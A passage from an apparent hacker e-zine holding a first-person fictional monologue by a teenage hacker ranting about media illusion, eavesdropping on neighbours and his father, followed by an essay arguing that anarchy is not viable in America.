that. But countries are over. Countries ended long ago. This president or his dad made money from oil or wherever else they put money to make money. Millions of it, more than enough to keep the whole family in office for generations. They have this veneer of patricians but their hands are dripping with blood. His grand-dad too, look it up. They taught evil people how to torture, kill, terrorize, but they wear this patrician veneer and drip with self-righteousness, always talking about religion. It is so dishonorable. Yet this semi-literate lamer, this poser, we honor, his father the chief of the secret police, his brother running his own state, this brain-damaged man who can't connect with himself or anyone else, his words spastic like bad animation out of synch with that smug smirk, this man we honor? Give me a fucking break.

Anyway, he isn't really there, it's all pixels, that's the point. The same people who made "Friends" and made that mythical neighborhood bar and made that mythical house on the mythical prairie created him too out of whole cloth. So people sit there and scratch, eat drink and masturbate, getting off on the unseen artifice of it all. And these people they have made, these people who project power, they all have their own armies, see, they have their own security forces, their own intelligence networks. They have to because countries ended and they realized that those who are like countries, forgive me, like countries used to be, now must act like countries used to act. They have their own banks and they even have their own simulated countries. Some Arabs bought Afghanistan, the Russian mafia bought Sierra Leone, they own Israel too, can I say that without being called an anti-Semite? These people in their clouds of power allow countries to pretend to exist and download simulations of countries into the heads of masturbating scratchers because it works better to have zombies. So people who think they live in countries can relate to what they think are countries inside their heads. Zombies thinking they are "citizens of countries" because they can't think anything else, because they live inside the walls of the doll's house in their heads. "I am a citizen of this country," says the zombie, feeling safe and snug inside a non-existent house in the non-space of his programmed brain. All right then, where is it? The zombie says here, there, pointing to the air like grandma after surgery pointed to hallucinations, telling them to get her a glass of water, telling them to sit down and stop making her nervous. It's all dribble-glass stuff, zombies in Newtonian space that ended long ago; they stare through the glass at the quantum cloud-cuckoo land the rest of us live in, calling it the future. Mistaking space for time the way that colonel inside his pyramid thinks he's net-man.

People who live in clouds of power live behind tall walls, taller than you can imagine. We never really see what's behind those walls. Zombies never climb those walls because of the private armies. Their "security forces" would have a zombie locked up in a heartbeat if he tried.

On the network when we take over thousands of machines and load trojans letting them sit there until we are ready to use them in a massive attack, we call them zombies. The zombies are unaware what is happening to them. We bring them to life and they rise from their graves and march. Those are our clouds of power, tit for tat. Mastering the masters.

Meanwhile Moms and Pops sit in their chairs not knowing that trojans are being downloaded into their brains. The code is elegant, tight, fast. Between the medium in which the code is embedded and the television or network that turns it into illusions of real people, real situations, the sleight of hand is so elegant, enticing bird-like Moms and Pops into digital cages. The when they move the cages, the birds move too. They give the birds enough room to flap their wings so they think they're free.

This is what it looks like.

Jerome K. Dumbass, say, a zombie with one third of a clue, decides to eliminate a CEO who made him lose his house, his job, all his stock options. The buyer did not know how to beware any more than zombies know how to avoid the download. The guy was sucked into the force field of greed while the CEO stashed his loot in a house he could keep. Pays the people to

make laws to let him keep a huge house that no one can take even after his term in a country club. Dumbass wants to kill the CEO which is entirely understandable. So he climbs the wall and drops down onto the other side, twisting his ankle.

The circuit breaks the minute he touches the wall, cameras swing into action, pick him up before he can say "Ow!" Dogs bark and come closer, baying and barking. Camera zooms. A close-up shows his face twisted with pain. Then fear. Dumbass drags his game leg after him, dogs bay and bark closer, louder now. Jeezus! his stupid face says as he hobbles through flowers and shrubs some of them cameras some of them alarms into the arms of waiting goons. The goons are bigger than pro tackles - excuse me, I'm explaining one simulation in terms of another. How foolish is that? But that's what we do, use words to explain words, simulations explaining same. You don't know a single linebacker do you? But you think of them as your friends, too, don't you? Anyway, a thug grabs Dumbass by the belt, twisting his belt and pants in his hand, his other hand crimping the back of his neck like a robot's claw. Dumbass cries out but there's no one to hear. Everyone is busy scratching and eating and drinking and masturbating to the dreamtime rhythm of the night.

They drag him into a room behind the cabanas along the landscaped pools and Jacuzzis. It's dark in there. They throw him against the wall and he bounces off and lies in the scatter and dirt. Looks up and sees a boot coming. That's that. Out he goes.

He comes around in a minute, dizzy, in pain, blood from his broken nose on his shirt. Whomp! The goon's hand slaps him, then backhands him, winds up for a forehand and whacks him back to center. "Stop!" he screams but instead the thug just whacks him back and forth like a bobblehead, wanting him to understand the foolishness of his indiscretion, don't you see. Imposing power on the dumbass on behalf of his master. So Dumbass can internalize the experience, feel utterly powerless, spread the word. Tell your buddies that you do not climb - whack! - that - whack! - wall.

Somewhere in his twinkie brain it dawns on him that no one knows he is here. Sure, they call the "real" cops after a while, but these guys are real enough, mugging him in the toolshed. No one knows he is here and wouldn't care if they did. The so-called news shows handle that, turning Dumbass into the Other. Everybody cheers as they beat his brains out. Then the "real" police come and take over, beating him up in the van on the way to the station, having fun as long as the ride takes, bouncing him off the walls.

Now, this is my point: the armies that this man has, this man whose face you have not even seen, you never do see, you only see manifestations of clouds of power, this man's armies are created in the image of the net. Once we no longer had countries but only the pretense of countries, those who inhabited clouds of power took the game to the next level. These armies are simply not seen. They are hidden in the faux shrubs designed to distract us. When boundaries dissolved, clouds of power emerged all over the world. They are accountable only to themselves, i.e. not. Clouds are not countries, clouds are water vapor condensing, as visible and insubstantial as mist. We too are mist but we believe in our shapes as they change. The clouds in a way are not there, really. Except they are. But try to tell that to a zombie, tell them they live in a cloud and see what they say.

Now take this entire scenario and blow it up. Imagine a country with borders drawn in black. Then imagine a mouth blowing a pink bubble and the bubble bursting obliterating borders and then there's a pink cloud instead of the little wooden shapes of states or countries they used to play with when they were kids. Bubblegum splatters all over the world creating cloud-places that have no names. They are place markers until names are invented. These are the shapes kids play with now, internalizing the difference.

Try telling that to zombies, though. They sit there listening as sitcoms and so-called reality shows and faux news put them into a deep sleep. Images of unreality filter into their brains and define their lives. Tiny images, seen near, seem big. Seem almost lifelike. Inside these

miniature worlds, Moms and Pops believe they are far-seeing, thinking they think. Because they are told that near is far and little is big and so it is.

Back to the example. Dumbass is done getting beaten up in the shed behind the bougainvillea and hibiscus. Let's press that a little. That's what neighborhoods have become, whole used-to-be-called countries. That's what societies have become, entire civilizations. Do you see, now? The map in your head is a game board intended to replace reality, not a meaningful map, it gives you manageable borders within which you watch and act in the sitcom of your life, playing a role in a script written for other purposes entirely.

That's why when you open your mouth, one of those times you wake up long enough to talk about something you think is real, anyone who has a clue laughs. It isn't personal, but it can't be helped. People who have a clue laugh. We try to suppress it but a little titter becomes a giggle and then a blast that explodes before you finish your first sentence.

That's what the fight was about. It wasn't personal.

See we see how silly it is, the way you think, what you think is real. The only difference between our seeming rudeness and the compassion of Buddhists who also see clearly is that somehow compassion did not download from the net but the seeing did. We see what's so but without much feeling. Certainly without much empathy. If we have too much empathy, it sucks us in and then we're sunk. Besides, you're zombies. Zombies are not real human beings. In the scripts they have written you do the same things over and over again like a Marx Brothers movie. The script is boring and predictable. That's how it manages so many people so well but that's also what we think is funny. When you play out your roles without even knowing it, naturally, we laugh.

It's not personal! Honest!

When I was twelve I ran a line out to the telephone cable behind the house. I listened to the neighbors talk mostly about nothing until the telephone company and a cop dropped by. I pleaded stupidity and youth and Pop gave me a talk and I nodded and said yeah, right, never again. Those were the good old days when hacking and phreaking were novelties and penalties for kids were a slap on the wrist.

My favorite telephone sitcom was "The Chiropractor's Wife." That woman she lived around the corner and lowered the narrowness bar beyond belief. You see her on the street with her kids or walking that damned huge dog of theirs, you wouldn't know it. She looked normal. On good days she looked good even with her blonde hair down on her shoulders, smiling hello. Still, she raised oblivious to the level of an art form.

I guess she was terrified. Her life consisted of barely coping with two kids who were four and six I think and serving on a committee or two at school like for making decorations for a Halloween party. Other than that, near as I could tell, she talked to her mother and made dinner for the pseudo-doc. Talked to her mother every day, sometimes for hours.

The conversation was often interrupted by long pauses. Well, the wife would say. Then her mother would say, well. Then there might be silence for twenty seconds. I am not exaggerating, I clocked it. Twenty-four seconds was their personal best. That might not sound like much but in a telephone conversation, it's eternity. Then they would go back over the same territory. They were like prisoners walking back and forth in a shared cell, saying the same things over and over. I guess it was mostly the need to talk no matter what, drawing the same circles on a little pad of paper. I imagined the wife making those circles on a doodle pad in different colors and that's when I realized that people around me lived by a different geometry entirely. How the landscape looks is determined by how you measure distance. How far to the horizon. That's when I began to invent theorems for a geometry of near.

Example.

Here in Wolf Cove there is the absolute silence of shuttered life. The only noise we hear is traffic from the freeway far over the trees. We

have lots of trees, ravines, some little lakes. That's what it is, trees and ravines and houses among the trees. That sound of distant traffic is like holding a seashell up to your ear. It's the closest we come to having an ocean. No one can park on the street so a car that parks is suspect. The cops know everyone by sight so anyone different is stopped. The point I am making is, Wolf Cove encloses trees and lakes and houses with gates of silence, making it seem safe, but in fact it has the opposite effect. It creates fear that is bone deep. It's like a gated community with real iron gates and a rent-a-cop. It makes people inside afraid of what's outside so no one wants to leave. It's like we built an electric fence like the kinds that keep dogs inside except we're the dogs.

One day there was a carjacking at a mall ten miles away. Two guys did it who looked like someone called central casting and said hey, send us a couple of mean-looking carjacker types. They held a gun on a gray lady driving a Lexus and left her hysterical in the parking lot. I knew the telephone sitcom was bound to be good so I listened in on the wife and her hold-me mother.

They talked for more than two hours, the wife saying how afraid she was she wouldn't get decorations done for the Halloween party at the school. She almost cried a couple of times, she was that close to breaking, just taking care of a couple of kids and making streamers and a pumpkin pie. But every now and again she said how afraid she was they'd take her SUV at gunpoint next time she went shopping. The television had done its job of keeping her frightened, downloading images of terrified victims morning noon and night. Fear makes people manageable.

Finally the wife said, maybe we ought to move. I couldn't believe my ears. I mean, she lived in Wolf Cove inside an electric fence, so where the hell would she go? Her fears loomed in shadows on the screen of the world like ghosts and ghouls at that Halloween party. Everywhere she looked, she saw danger. Wherever there was a door instead of a wall, she felt a draft, an icy chill, imagining it opening. She got out of bed and checked the locks when everyone else was asleep. Once she had to go get something on the other side of town and you would have thought she was going to the moon. She went over the route on a map with her mother. Did she turn here? Or here? She had a cell phone fully charged - she checked it twice - and a full tank of gas, just in case. Just in case of what? So I wasn't surprised when she said after the carjack that maybe they ought to move to Port Harbor, ten miles north. Then her mother said, well. Then the wife said well and then there was silence. I think I held my breath, sitting in my bedroom listening through headphones. Then her mother said, well, you would still have to shop somewhere.

Oh, the wife said. I hadn't thought of that.

The geometry of near.

So many people live inside those little circles, more here than most places. I live on the net, I live online, I live out there. I keep the bedroom door shut but the mindspace I inhabit is the whole world.

When I was eleven I found channels where I learned so much just listening. I kept my mouth shut until I knew who was who, who was a lamer shooting off his mouth and who had a clue. Then somebody asked a question I knew and I answered politely and they let me in. I wasn't a lurker any longer, but I took it easy, asking questions but not too many. I stayed up late at Border's and other midnight bookstores, aisles cluttered with open O'Reilly books, figuring out what I could before I asked. You have to do the homework and you have to show respect. Once they let me in, I helped guys on rungs below. I was pretty good at certain systems, certain kinds of PBX, and posted voice mail trophies that were a hoot. Some came from huge companies that couldn't secure their ass with a cork. The clips gave the lie to their PR, showing what bullshit it was. So everybody on the channel knew but had the good sense not to say, not let anybody know. That would be like leaning over a banister and asking the Feds to fuck us please in the ass.

So I learned how to live on the grid. I mapped it inside my head, constantly recreating images of the flows, shadows in my brain creating a

shadow self at the same time. The shadow self became my self except I could see it and knew how to use it.

It wasn't hacking the little systems, don't you see, the boxes or the telephones, it was the Big System with a capital B and a capital S. Hacking a system means hacking the mind that makes it. It's not just code, it's the coder. The code is a shadow of the coder's mind. That's what you're hacking. You see how code relates to the coder, shit, you understand everything.

Anyway, Mom and Pop were talking one night and Mom said she had seen the Bradley's out on their patio. They were staring down at the old bricks, thinking about redoing it. It meant rearranging shrubs and maybe putting it some flowers and ground cover. It sounded like big deal, the way they talked about it, making this little change sound like the Russian Revolution. It was like the time the Adams built a breakfast nook, you would have thought they had terraformed a planet.

So Mom said to Virginia Bradley, how long have you been in this house now? as long as we have? Oh no, Virginia said. We've been here thirteen years. Oh, Mom said We've been fifteen. But then, Virginia said, we only moved from a block away. Mom said, Oh? I didn't know that. Virginia said, yes, we lived in that little white house on the corner the one with the green shutters for seventeen years. Mom said, I didn't know that. Not only that, Virginia said with a little laugh, but Rick, that was her husband, Rick grew up around the corner. You know that ranch where his mother lives? Mom said, the one where the sign says Bradley? I didn't realize (only neighbors thirteen years) that was his mother. Yes, he grew up in that house, then when we got married we moved to the white house with the green shutters and thirteen years ago when Stonesifers moved to the lakes then we moved here.

The heart enclosed in apprehension becomes so frightened of its own journey, of knowing itself, that it draws the spiral more and more tightly, fencing itself in. Eventually the maze leads nowhere. This village with its winding lanes and gas lamps for all its faux charm was designed by a peasant culture afraid of strangers, afraid of change, a half-human heart with its own unique geometry.

Yep, you guessed it. The geometry of near.

Hypnosis does an effective job of Disneylanding the loneliness of people who live near. Sometimes that loneliness leaks out into their lives and that, really, was what the fighting was about.

Some business group asked Pop to give a dinner speech. They asked him over a year ago, so he had it on the calendar all that time. He really looked forward to it, we could tell by the time he spent getting ready. He even practiced his delivery. They told Pop to expect a few hundred people but when he showed up with all his slides, there were only twenty-three.

I am so sorry, said Merriwether Prattleblather or whoever asked him to speak. It never occurred to any of us when we scheduled your talk that this would be of all things the last episode of Jerry Seinfeld.

Pop got a bit of a clue that night. He was pretty dejected but he knew why. These are people, he said, who have known each other for years. This meeting is an opportunity to spend time with real friends. But they preferred to spend the night with people who are not only not real, but don't even make sense or connect to anything real. They would rather passively download digital images, he said, using my language without realizing it, than interact with real human beings.

So Pop had half a clue and I got excited, that doesn't happen every night, so I jumped in, wanting to rip to the next level and show how it all connects from Walter Lippmann to Eddie Bernays to Joseph Goebells, news PR and propaganda one and the same. That got Pop angry. It undermined that doll's house in his head, I can see now. The walls would collapse if he looked so he can't look. Besides, he had to put his frustration somewhere and I was safe. Naturally I became quite incensed at the intensity of his commitment to being clueless. Christ, Pop, I shouted, they stole your history. You haven't got a clue because everything real was hidden. Some of

the nodes are real but the way they relate is disguised in lies. He shouts back that I don't know what I'm talking about. The second world war was real, he says, hitting the table, not knowing how nuts he looks. Oh yeah? Then what about Enigma? Before they disclosed it, you thought totally differently about everything in that war. You had to, Pop! Context is content and that's what they hide, making everything look different. It's all in the points of reference. They've done that with everything for fifty years. It's like multispectral camouflage that I read about in space, fake platforms intended to look real. Nothing gets through, nothing bounces back. You live in a hall or more like a hologram of mirrors, Pop, can't you see that?

We both kept shouting and sooner or later I figured fuck it and went to my room which is fine with me because I would rather live in the real world than the Night of the Living Dead down there.

I know why Pop can't let himself know. I understand. Particularly at his age, you can't face the emptiness of it all unless you know how to fill it again, preferably with something real. Knowing you know how to do that makes it bearable like looking at snakes on Medusa's head in a mirror. It keeps you from turning to stone.

Me and my friends we don't want to turn to stone ever. Not ever. Maybe it's all infinite regress inside our heads, nobody knows. But playing the game at least keeps you flexible. It's like yoga for the soul.

When do I like it best? That's easy. Four in the morning. I love it then. There's this painting by Rousseau of a lion and a gypsy and the world asleep in a frieze that never wakes up. That's what it feels like, four in the morning, online. The illusory world is asleep, shut up like a clam, I turn on the computer and the fan turns into white noise. The noise is the sound of the sea against the seawall of our lives. The monitor flickers alight like a window opening and I climb through.

It's all in the symbols, see, managing the symbols. That makes the difference between half an illusion and a whole one. Do you use them or do they use you? If they use you, do you know it, do you see it, and do you use them back? Who's in charge here? Are you constantly taking back control from symbols that would sweep you up in a flood? Are you conscious of how you collude because brains are built to collude so you know and know that you know and can take back power? Then you have a chance, see, even if the hall of mirrors never shows a real reflection. Then we have a chance to get to the next level of the game if only that and that does seem to be the point.

Me and my friends we prefer the geometry of far. This bedroom is a node in a network trans-planetary or trans-lunar at any rate, an intersection of lines in a grid that we navigate at lightspeed. This is soul-work, this symbol-manipulating machinery fused with our souls, we live cyborg style, wired to each other. The information we exchange is energy bootstrapping itself to a higher level of abstraction.

Some nights you drop down into this incredible place and disappear. Something happens. I don't know how to describe it. It's like you drop down into this place where most of your life is lived except most of the time you don't notice. This time, somehow you go there and know it. Instead of thinking leaning forward from the top of your head its like lines of electromagnetic energy showing iron filings radiating out from the base of your skull. Information comes and goes from the base of your brain, goes in all directions. Time dilates and you use a different set of points of reference, near and far at the same time.

It's a matter of wanting to go, I think, then going. Otherwise you turn into the chiropractor's wife. I want to see up close the difference that makes the difference but once I go there, "I" dissolves like countries disappeared and whatever is left inhabits clouds of power that have no names. It's better than sex, yes, better.

So anyway, the point is, yes, I was laughing but not at him, exactly. You can tell him that. It was nothing personal. It just looked so funny watching someone express the truth that they didn't know. The truth of a

future they'll never inhabit. It's like his mind was bouncing off a wall, you see what I mean? So I apologize, okay? You can tell him that. I understand what it must be like, coming to the end of your life and realizing how it's all been deception. When it's too late to do anything about it.

Now if it's all right with you, I just want a few minutes with my friends. I just want to go where we don't need to be always explaining everything, where everybody understands.

Okay? And would you mind closing the door, please, as you leave?

#

|=====|
|=====|
|=====|

The Feasibility of Anarchy in America

By

Anthony <ivrit@missvalley.com>

"This country, with its institutions, belongs to the people who inhabit it. Whenever they shall grow weary of the existing Government, they can exercise their constitutional right of amending it, or their revolutionary right to dismember or overthrow it." -- Abraham Lincoln

The concept of anarchy in its most general and well-known form espouses a view of removing a given governing body or hierarchy. The very word, "Anarchy," is derived from the Greek word "Anarkhos," which means, "Without a ruler." In effect, it is a view shared by those who believe that centralized governments or hierarchies of power and authority tend to corrupt those at the upper-levels. It is also a common sentiment that those power-drunken rulers at the height of the hierarchy come to abuse their power and use their newly found authority for their own, whimsical purposes to the detriment of the lower members of the organization or society over which it rules. This belief is far from new, and dates back probably as far as political philosophy has existed. Within the United States, the philosophy gained general acceptance within a few select groups during the 1960's and 1970's, and was forwarded with the rise of the "Anarchist Cookbook," in which instructions for bomb-making, guerilla warfare, and the like are expounded upon in rather brief detail. With the rise of the Internet, many groups favoring the free exchange of any and all information, as well as the destruction of any sort of proprietary and restrictive model for software development and the like, the philosophy of Anarchism has become quite widespread and supported in a variety of forms. Aside from the desire to see corrupt regimes fail and the Orwellian laws and measures become obsolete, however, we must ask ourselves: In America, is the concept of Anarchy realistically viable?

It is evident to most that the majority of citizens of the United States do not view laws as anything other than rules enforced by the current regime; therefore, to them, if the regime fails for whatever reason, there are no laws by which to abide. For instance, we can see that during even minor disruptions, such as blackouts, citizens run rampant causing damage and stealing goods from other businesses. They do not connect to the greater picture, and they do not realize that, by depriving others of these goods, they do nothing but bring greater harm upon the whole of society, which includes them as well. Even with the government still active, we see a variety of crimes committed each day, some of the most serious being rape,

murder, and theft. The most important question we must ask is that, if the citizens are unable to conduct themselves for the greater good and for the welfare of society, then how may they be trusted to conduct themselves properly without a governmental body enforcing its laws by threats of incarceration or death? However it has occurred, it is irrelevant: the majority of US citizens are entirely dependent upon the government and the services that it provides. It is also obvious that, without a central governing body, they could not rightfully conduct themselves responsibly so that they would need no rulers or administrators above them ensuring that civil order persists. Because of their attitude of self-centered egoism and the fulfillment of their hedonistic desires, it is very improbable that they could retain the proper attitude to make anarchy a possible way of life.

Another problem relating to the lack of a proper, self-reliant attitude is the fact that most Americans are conditioned to a rather wealthy and comfortable lifestyle. They have the pleasure of relative political and military security; comfortable homes; televisions and other frivolous entertainments; and more food than most know what to do with. All but the most impoverished and destitute live a very comfortable lifestyle, and even the latter are generally not wanting for food, housing, and so forth because of government aid. It is also obvious to many that the government acts as a buffer between the individual and reality. Everything is hidden from public view, such as the enforcement of the death penalty, the frequent slaughtering of meat, and even the often-times brutal tactics of the police and military. The government attempts to keep society in a rather blissful swoon so that it does not recognize and is therefore not conditioned to the undesirable facets of reality. Therefore, it is improbable that the general public at large would have the threshold of toleration regarding hardship, and it is not likely that most would be able to adapt to a rather open and frank way of life, seeing and experiencing both its pleasant and unpleasant aspects. It is most likely that, when experiencing life without any central government shielding them from how it truly is, as well as their responsibility to themselves and the rest of society at large, they would reject such ideals and return to their previous existence and lifestyle. Too much is taken for granted, and when this is not available, the public would quickly turn upon their heels because of the fact that they are generally unconditioned to self-responsibility, self-reliance, and true hardship.

A very real problem to be faced if the central government were removed is the military situation and the protection of this country from hostile foreign powers. It is well known and goes without saying that quite a few foreign nations would take little time in responding to the collapse of the government and militarily invade and occupy the nation to their political and economic advantage. Thus, it would be imperative that a collective military be formed and trained in order to resist such a fate. However, another problem then arises: if a military is formed, and there is hierarchy within this military (as there needs be if it is to be effective in protecting the nation from coordinated foreign attacks), then what is to stop it from staging a coup and forming a new governmental body under military rule, with the commanders being the upper class and the new leaders of an unwilling populace? This is not an impossible or even an improbable scenario. Take Afghanistan, for instance. After the Mujahideen shook off the yoke of Soviet dominance and government, they found themselves in quite a problem: there were several militias, all led by separate commanders with different ideals. Soon, fighting erupted between them, and the country was in a state of war-torn chaos. Nothing productive came from them, and they never ruled with any sort of authority. This serves as an example for how useless a struggle is against an oppressive regime if no stable government can be formed afterward. After their many blunders, a new group rose up against them and their corruption: the Taliban. They were originally a group of freedom fighters who claimed to have no desire for power or rule. They said that their goals were to remove the Mujahideen and their atrocities from Afghanistan, and to restore order, security, and peace to

the region. We all know that, afterward, they indeed became the new rulers of Afghanistan, and were no better than the former Mujahideen in the least. This would be the same sort of problem that is to plague a nation whose central government is removed, and it is almost inevitable that foreign occupation will occur, or the newly formed military will take the power for themselves. Or, perhaps, both of these will occur as they did in Afghanistan. Another solution may form in the minds of some when thinking of this problem: perhaps if everyone who is of fighting age and ability would form a militia, so that this power would be in the hands of the population as opposed to a select fighting few. This indeed would be a good idea, if it weren't for a small problem: it would only be a matter of time before there would be disagreements as to the best course of future action in any given situation, and it is very probable that there would be separate factions that would split away and war upon each other. Thus, the nation would once more be divided and fighting for power, much like the many nations of the world do even today. Even without these severely important issues arising, it goes without question that to have everyone who is able to necessarily be a part of a given military would be nearly akin to being governed by a central regime, only on a more militarized basis. Therefore, it seems entirely likely that this would either begin as or devolve into yet another form of government, only this time harsher in its enforcement of laws given the very nature of the institution.

A view espoused by some is that man should return to a more natural way of life and live primitively, as an animal, given that he is indeed an animal which is more highly evolved and retains higher faculties of reason and thought. This sort of view likewise presents another problem which is most likely impossible to overcome within anarchy: the fact that there is not anarchy within nature, and that animals are indeed governed if by nothing more than the principle of natural selection: the strong will survive, and the weak will perish. It is a fact that resources of a particular area are not unlimited, such as food, water, material for shelters, fuel, and so forth. It is also true that there will be those who are more efficient by nature in gathering food, finding themselves fortunate enough to live near and perhaps possess a source of fresh water, and so on. Therefore, those who are stronger and more efficient in these areas will by nature rule over those who are weaker and not as adept or fortunate enough to be in like position. Such an individual or individuals would thus be held in higher esteem in a given community because of the resources he/she possesses, and which the other members want or need. As we can see, this is leading to another form of government: those with the best plots of land held in private ownership will naturally become those who supply the food and necessary materials to the rest of the community, and will therefore become as an authority figure. It is trivial to understand that this situation can be prevented if private ownership of land is not allowed, or if food, water, and other relatively scarce resources are distributed equally amongst the populace. The only problem with this is that there must by definition be some sort of hierarchy or committee collecting these resources, distributing them, and ensuring that everyone is conducting themselves honestly with regard to the matter. This will likewise lead to yet another form of control and government: over time or, perhaps from the beginning depending upon how much force the committee would have or how dire the situation is at that time, they will come to form a sort of government which would provide the members of society with its needed resources, and would thus be much like the current government we have today, existing by serving society and using its natural power to threaten others to accept a given set of laws in order to preserve social order. Even the most primitive of societies have an accepted leadership, and at least have some sort of social order and a way in which to ensure that such a social order is not disrupted to the detriment of society. Hence, if the society is to be held together and not devolve into nothing more than close-knit families attempting to ensure for themselves survival without thought to the rest of the population, there must exist some sort of hierarchy or, for lack of a better term, system of

government.

I conclude this rather brief essay by answering the question posed in the beginning: it is not possible that anarchy can exist within America if only because of the fact that the population could not handle it, and can not be trusted to act with the best interest of society in mind. Not many in this culture of ego-gratification and self-centered hedonism would find it in their best interests to give up their many enjoyments, possessions, and sheltered way of life so that they could exist with more responsibility and self-reliance. Not only this, it would also be impossible to rid the majority of the population of the idea of private ownership of property, and because of the self-centered nature of this culture, it would be entirely out of the question to assume that a form of communism or communal-lifestyle would be acceptable to the majority involved. Besides, without some form of central government deciding the fate of this communal property and what should be done with the material harvested or grown from it, we would be hard-pressed to come to any agreement upon what should be done with it. Thus, without any sort of unification or democratic government, or even an authoritarian dictator imposing his will upon the population at large, nothing can be achieved except factionalism, strife, and inevitably destabilizing, unconstructive conflict.

|=[EOF]=-----=|